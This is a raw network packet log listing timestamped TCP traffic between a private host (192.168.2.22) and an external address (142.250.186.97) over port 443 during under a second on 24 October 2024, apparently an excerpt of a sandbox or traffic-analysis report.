Oct 24, 2024 08:52:56.510088921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.512583971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.512645960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.512660027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.515149117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.515207052 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.515218973 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.517790079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.517843962 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.517857075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.520169973 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.520224094 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.520236015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.522654057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.522710085 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.522723913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.522820950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.522872925 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.522886038 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.523005009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.523056030 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.523066998 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.525232077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.525300980 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.525315046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.528028965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.528088093 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.528103113 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.530076981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.530139923 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.530153036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.532469988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.532543898 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.532571077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.534868002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.534949064 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.534961939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.535079002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.535145998 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.535159111 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.537442923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.537511110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.537523985 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554069996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554164886 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.554177999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554223061 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554286003 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.554305077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554441929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554497004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.554512024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554622889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554672956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.554685116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554785013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554842949 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.554853916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.554955006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555023909 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.555036068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555134058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555190086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.555196047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555310011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555375099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.555378914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555895090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.555953026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.555958033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.556062937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.556112051 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.556117058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.558229923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.558290958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.558295012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.560376883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.560430050 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.560435057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.564788103 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.564848900 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.564853907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.569737911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.569802999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.569809914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.569911003 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.569962978 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.569968939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.574729919 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.574816942 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.574824095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.574850082 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.574898958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.574947119 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.577824116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.577888012 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.577899933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.581060886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.581151962 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.581165075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.583756924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.583827019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.583842993 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.586951017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.587029934 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.587045908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.587066889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.587106943 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.587162018 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.589674950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.589737892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.589761019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.592689991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.592761993 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.592797041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.595489025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.595565081 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.595585108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.598412991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.598469019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.598484993 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.598570108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.598614931 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.598623037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.598751068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.598799944 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.598805904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.601284027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.601337910 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.601351976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.604079962 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.604140997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.604156017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.606888056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.606946945 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.606962919 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.609651089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.609709978 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.609723091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.612405062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.612463951 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.612474918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.615066051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.615118027 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.615133047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.623770952 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.623867035 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.623869896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.623888969 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.623927116 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.623987913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.624154091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.624193907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.624202013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.624320984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.624363899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.624368906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.625732899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.625792980 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.625797033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.625900030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.625947952 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.625952959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.626085043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.626136065 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.626141071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.628418922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.628475904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.628480911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.630937099 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.631000996 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.631007910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.633641005 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.633708000 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.633714914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.636084080 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.636153936 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.636162043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.638417006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.638482094 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.638488054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.638607979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.638667107 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.638673067 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.641169071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.641233921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.641242981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.643824100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.643894911 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.643907070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.645804882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.645870924 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.645879984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.648257017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.648325920 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.648333073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.650634050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.650705099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.650712013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.650806904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.650854111 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.650865078 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.650974035 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.651026011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.651031971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.653130054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.653188944 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.653197050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.669847012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.669946909 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.669964075 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.669994116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670037985 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.670043945 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670181990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670241117 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.670245886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670382977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670434952 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.670439959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670552015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670599937 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.670605898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670718908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670769930 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.670777082 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670887947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.670941114 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.670944929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.671061039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.671108961 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.671113968 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.671226978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.671279907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.671284914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.671940088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.671997070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.672002077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.672111034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.672162056 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.672167063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.674309969 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.674370050 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.674376965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.676325083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.676379919 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.676387072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.680632114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.680706978 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.680712938 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.685689926 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.685756922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.685766935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.690762043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.690850973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.690874100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.690903902 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.690953970 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.691003084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.691147089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.691203117 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.691217899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.693651915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.693732023 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.693744898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.693823099 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.693902969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.693921089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.696997881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.697084904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.697099924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.699717045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.699775934 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.699784040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.702856064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.702919960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.702929974 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.703047991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.703104973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.703109980 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.705694914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.705756903 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.705764055 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.708650112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.708714008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.708735943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.711360931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.711426020 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.711440086 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.714613914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.714683056 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.714698076 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.714818954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.714884043 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.714899063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.719784975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.719846010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.719851971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.722709894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.722779989 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.722788095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.722904921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.722996950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.723020077 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.723026037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.723061085 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.723107100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.725584984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.725647926 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.725653887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.728239059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.728302002 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.728317022 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.730917931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.730973005 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.730979919 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.739790916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.739886999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.739893913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.739921093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.739964008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.740016937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.740185976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.740237951 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.740247965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.740355968 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.740410089 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.740415096 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.741439104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.741498947 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.741518021 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.741970062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.742027998 CEST	49167	443	192.168.2.22	142.250.186.97
